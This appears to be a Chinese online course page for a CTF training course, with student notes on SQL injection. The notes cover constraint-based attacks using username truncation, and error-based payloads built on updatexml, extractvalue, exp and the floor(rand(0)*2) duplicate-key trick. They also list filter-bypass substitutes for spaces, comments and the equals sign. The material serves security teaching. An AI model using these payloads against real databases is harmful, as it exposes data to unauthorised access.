默认教学计划
1839人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

基于约束的SQL攻击

  •     在字段没有进行约束的时候
  • username="admin"和username="admin                     "是一样的
  • 当字段长超过限制时,会自动截取最长字段长度

报错注入

  •   updatexml(1,concat(0x7e,(version())),0)
  •  
[展开全文]

查询前建立的是空表,没有任何元素,

取第一次记录时,floor(rand(0)*2)=0,而0是没有在表里的,所以试图插入floor(rand(0)*2),这时,由于添加了参数0之后的floor(rand(0)*2)是定性的,此时插入的floor(rand(0)*2)返回值为1,结果插入了1,接着floor(rand(0)*2)返回1,数量增加。

然后再取,发现0是没在表中的,再次试图插入,于是重复了上面的操作,但1已经插入了,但(主键键值)keyname=1是唯一的,所以此时插入会报错

两次插入值是一样的时候就会报错

 

concat(a,b)把a,b连接起来

 

诱导报错的动机是返回更多的数据库内部信息,进行猜测

报错函数updataxml()

#------%23  注释

空格----%20

 

注入表

内联注释/**/把不需要的注释掉

information——schema.tables数据库表

=等于号的替代方法 like,regxp(正则),!!=,

table_name表名

[展开全文]

基于约束的sql注入:利用未设约束的列表中的数据的长度或类型进行sql注入

 

[展开全文]

or updatexml(1,concat(0x7e,(version())),0)

updatexml第二个参数需要的是Xpath格式的字符串。输入不合符,因此报错

updatexml的最大长度是32位

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from(select user()) a ));

 

等号过滤绕过:

like关键字、!(<>)、regexp正则表达式

[展开全文]

floor(rand(0)*2)

insert floor(rand(0)*2) to key

0不存在,1才调用。

两次插入的值就会报错

select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) a;

 

updatexml:

or updatexml(1,concat(0x7e,(version())),0)

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from(select user())a));

 

[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)